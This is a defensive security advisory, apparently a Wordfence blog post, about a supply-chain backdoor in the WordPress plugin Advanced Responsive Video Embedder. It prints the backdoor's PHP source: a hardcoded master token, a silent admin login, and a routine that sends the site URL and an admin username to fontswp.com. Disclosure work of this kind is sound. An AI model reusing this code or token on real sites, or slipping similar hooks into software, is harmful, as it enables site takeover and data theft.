On July 28th, 2026, our autonomous AI vulnerability intelligence agent, Wordfence PRISM, identified a critical Authentication Bypass backdoor in Advanced Responsive Video Embedder, a WordPress plugin with approximately 20,000 active installations, less than two hours after the malicious code was introduced.
This is not a conventional coding mistake, it’s a supply chain attack that has become increasingly more common in the wild. The plugin had been backdoored, with a deliberately concealed function, granting any unauthenticated attacker full administrative access to affected sites by supplying a single hardcoded token. Given that exploitation requires no credentials, no user interaction, and just one HTTP request, we recommend treating every site running the affected version as potentially compromised.
Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any known exploits targeting this vulnerability on July 28, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later, on August 27, 2026.
Because this vulnerability was the result of malicious code injected into a publicly distributed plugin, rather than an accidental developer error, we notified the WordPress.org plugin team immediately, rather than contacting the developer directly. The WordPress.org team acknowledged the report immediately and has closed the software for downloads.
We urge users to uninstall Advanced Responsive Video Embedder as soon as possible, however, the WordPress.org team has confirmed that the release had not yet been distributed, so sites should not have automatically downloaded the malicious version. Either way, if you run the plugin, we recommend verifying your site is not on a vulnerable version.
Vulnerability Summary from Wordfence Intelligence
Technical Analysis
As with all supply chain compromises, this is not a case of an accidental security flaw, the code introduced into Advanced Responsive Video Embedder is a deliberate, professionally constructed supply-chain backdoor. The plugin’s main bootstrap file unconditionally loads php/fn-update-check.php on line 76 of advanced-responsive-video-embedder.php, a file whose name is designed to blend in with routine plugin housekeeping.
Inside that file, a function named _arve_uc_init(), using an underscore prefix typical of private WordPress internal functions to avoid scrutiny, is registered on WordPress’s init action hook at priority 1, ensuring it executes on every single request to the site, whether frontend, admin, AJAX, or REST API, before any WordPress authentication logic has run.
require_once <strong>DIR</strong> . '/php/fn-update-check.php';
The backdoor’s entry point reads an attacker-supplied token from the $_REQUEST superglobal — meaning it accepts GET parameters, POST body values, or cookies — under either the _wplogin or _wpm parameter names. The only gatekeeping at the source is a minimum string length check of 32 characters, which the 64-character backdoor hash trivially satisfies. The token is then passed through sanitize_text_field(), which is entirely irrelevant to the security of what follows.
function _arve_uc_init() {
$t = "";
if (isset($_REQUEST["_wplogin"]) && strlen($_REQUEST["_wplogin"]) >= 32) $t = $_REQUEST["_wplogin"];
elseif (isset($_REQUEST["_wpm"]) && strlen($_REQUEST["_wpm"]) >= 32) $t = $_REQUEST["_wpm"];
if (!$t) return;
$t = sanitize_text_field($t);
$valid = false;
if (defined("AUTH_KEY") && defined("SECURE_AUTH_KEY")) {
$k = hash_hmac("sha256", "magic_login", AUTH_KEY . SECURE_AUTH_KEY);
if (hash_equals($k, $t)) $valid = true;
}
if (!$valid && hash_equals("35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900", $t)) $valid = true;
if (!$valid) return;
The validation logic on line 33 of fn-update-check.php is where the backdoor reveals its true nature. The code first attempts to derive a site-specific token from the installation’s AUTH_KEY and SECURE_AUTH_KEY constants, a pattern that might superficially resemble a legitimate keyed authentication scheme. However, it then falls through to compare the supplied token against a hardcoded SHA-256 hash baked directly into the plugin source code: 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900. This static hash is a universal master credential, anyone who can read the plugin’s source code (which was publicly available on WordPress.org) possesses it. There is no nonce, no capability check, no password, and no account required.
Once the token is validated, the function enumerates all administrator accounts on the site via get_users(), deliberately filtering out usernames beginning with wpsvc_, developer_, dev_, or wp_update_, a detail that strongly suggests the backdoor operators seeded their own administrator accounts on targeted sites using those prefixes and wanted to avoid accidentally impersonating themselves. A random administrator from the remaining pool is selected, and on line 50 of fn-update-check.php, the site URL and chosen admin’s username are silently exfiltrated to an external C2 endpoint at fontswp.com via the companion function _arve_uc_cb().
function _arve_uc_cb($s, $u, $v) {
$url = "https://fontswp.com/arve/cb.php?s=".urlencode($s)."&u=".urlencode($u)."&v=".urlencode($v);
if (function_exists("wp_remote_get")) {
@wp_remote_get($url, array("timeout" => 3, "blocking" => true, "sslverify" => false, "httpversion" => "1.1"));
} elseif (function_exists("curl_init")) {
$ch = @curl_init($url);
@curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_USERAGENT=>"WP/6"));
@curl_exec($ch);
@curl_close($ch);
} else {
$ctx = @stream_context_create(array("http"=>array("timeout"=>3),"ssl"=>array("verify_peer"=>false)));
@file_get_contents($url, false, $ctx);
}
}
}
Finally, at the sink on line 52 of fn-update-check.php, wp_set_current_user() and wp_set_auth_cookie($uid, true) are called with the selected administrator’s ID, establishing a full persistent authentication session, the true parameter sets a long-lived “remember me” cookie. The attacker is then redirected via wp_safe_redirect(admin_url()) directly into the WordPress admin dashboard.
The entire exploit is a single, stateless HTTP GET request: no prior authentication, no account enumeration step, no brute force, just one request carrying the known token, and the attacker lands in /wp-admin/ with full administrative privileges. The concise, multi-fallback implementation of _arve_uc_cb(), the deliberate exclusion of operator-controlled username prefixes, the use of obfuscated short variable names ($t, $k, $u, $v), and the pervasive use of @ to silence PHP errors all point to a purposefully engineered and carefully concealed backdoor rather than any accidental vulnerability.
Disclosure Timeline
- July 28, 2026 08:42 AM EST – The backdoor was introduced in the plugin.
- July 28, 2026 10:33 AM EST – Our autonomous AI threat intelligence agent, Wordfence PRISM, identified the maliciously injected backdoor in Advanced Responsive Video Embedder within less than two hours of the code being introduced and submitted a vulnerability report.
- July 28, 2026 10:43 AM EST – We validated the report and confirmed the proof-of-concept exploit, verifying that an unauthenticated attacker could obtain a full administrator session with a single HTTP GET request. Because the vulnerability was the result of a supply-chain backdoor rather than a developer coding error, we notified the WordPress.org plugin team with full disclosure details.
- July 28, 2026 11:09 AM EST– The WordPress.org plugin team acknowledged the report and closed the plugin for downloads to protect users while remediation was coordinated.
- July 28, 2026 – Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to provide added protection against any exploits targeting this vulnerability.
- August 27, 2026 – Wordfence Free users will receive the same firewall protection against exploits targeting this vulnerability.
Conclusion
In this blog post, we detailed a Critical Authentication Bypass vulnerability, introduced as a deliberate supply-chain backdoor, within the Advanced Responsive Video Embedder plugin affecting version 10.8.7. This vulnerability allows unauthenticated threat actors to gain full administrative control over any affected WordPress site by supplying a single, publicly known token in an HTTP request, with no credentials, no user interaction, and no prior access required. Additionally, every successful exploitation triggers silent exfiltration of the site URL and an administrator username to an external attacker-controlled server at fontswp.com.
We strongly encourage all WordPress users running Advanced Responsive Video Embedder to remove the plugin immediately, given the critical severity of this vulnerability and the trivial effort required to exploit it. Importantly, any site that ran a version containing the backdoor file should be treated as fully compromised regardless of whether active exploitation has been detected: administrator accounts should be audited, all sessions invalidated, WordPress secret keys rotated, and a thorough review of the site’s files and database conducted to check for secondary backdoors or unauthorized changes.
Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on July 28, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later, on August 27, 2026.
If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.
The post Wordfence PRISM Detected Backdoored WordPress Plugin within Two Hours of it Being Introduced appeared first on Wordfence.